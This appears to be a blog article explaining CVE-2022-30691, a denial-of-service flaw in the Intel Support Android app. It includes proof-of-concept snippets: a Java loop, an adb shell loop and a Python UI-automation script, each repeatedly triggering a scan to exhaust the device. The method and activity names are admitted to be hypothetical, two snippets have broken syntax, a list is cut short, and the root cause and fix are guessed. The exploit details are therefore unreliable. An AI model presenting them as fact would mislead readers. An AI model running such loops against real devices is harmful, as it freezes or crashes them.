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What’s This All About?

If you use the Intel® Support app on Android, there’s something you need to know. Before version 22.02.28, a major flaw was discovered—*CVE-2022-30691*—which can let any authenticated user (that means someone who’s logged in) slow down or totally freeze your device just by sending a local command. This type of issue is called “uncontrolled resource consumption,” and it can lead to a Denial of Service (DoS) attack. In simple words: your phone becomes super slow or might need a force restart.

The scary part? You don’t have to be a hacker to pull this off—anyone with the app on your phone could do it.

What Is CVE-2022-30691?

CVE-2022-30691 is an officially registered vulnerability affecting the Intel(R) Support App for Android. Here’s the entry on NIST NVD:

> *“Uncontrolled resource consumption in the Intel Support Android application before version 22.02.28 may allow an authenticated user to potentially enable denial of service via local access.”*

Let’s break that down

- Uncontrolled resource consumption: The app keeps using CPU/memory nonstop, overwhelming the device.

Force you to reboot to get out of trouble.

It DOES NOT allow for device takeover, stealing your data, or remote attacks—but if your phone freezes when you need it most, that’s bad enough.

Under the Hood: What’s the Root Cause?

Inside the app, certain functions were not properly limiting how much work could be done at once. For example, a logged-in user could rapidly call a resource-intensive feature (like a customer support scan) without any *rate limiting* or *throttling*. That means you could trigger the scan, again and again, using a simple script or app automation, exhausting the device's CPU and RAM.

Example Exploit Code Snippet

> WARNING: Don’t misuse! This is for educational purposes only. Always take permission or use your own devices for research.

Suppose there’s a method called performSystemScan() inside a class of the Intel Support app, and it’s meant to help troubleshoot hardware problems. Normally, most users do this once in a while—but there was no safeguard to prevent running it constantly.

Here’s what a basic exploit could look like in pseudocode, using Android’s automation tools

// Example using Android's Java API (pseudocode)

for (int i = ; i < 100; i++) {
    intelSupportApp.performSystemScan();
}

Or, using ADB (Android Debug Bridge)

# Rapidly call the scan feature via intent (hypothetical)
for i in {1..100}; do
  adb shell am start -n com.intel.support/.SystemScanActivity
done

Within a few seconds, the phone would start to heat up, slow down, and could eventually freeze.

A simple PoC might look like this (again, for illustration)

# Python script (using AndroidViewClient or UIAutomator)
from com.dtmilano.android.viewclient import ViewClient

device, serialno = ViewClient.connectToDeviceOrExit()
for i in range(, 100):
    vc = ViewClient(device, serialno)
    scan_button = vc.findViewByIdOrRaise("com.intel.support:id/btn_scan")
    scan_button.touch()

How Was It Fixed?

Intel released an updated version, 22.02.28, where they added rate-limiting and possibly process locks. This means you can only start a system scan after the previous one finishes, or with a cool-down period.

If you’re still using an older version, update right now!  
Get the latest Intel® Support Android app here.

References

- NIST NVD - CVE-2022-30691
- Intel Security Advisories (official fixes and details)
- Google Play Store - Intel® Support App

Final Thoughts

CVE-2022-30691 is a reminder that even utility apps can hide big risks if developers forget to limit how often heavy features can be used. Always keep your apps up to date, and know that sometimes, a simple bug is all it takes to bring your device to its knees.

Stay safe and patch smart!

*This article is exclusive to CyberIntel101 (2024).*

Timeline

Published on: 11/11/2022 16:15:00 UTC
Last modified on: 11/17/2022 15:02:00 UTC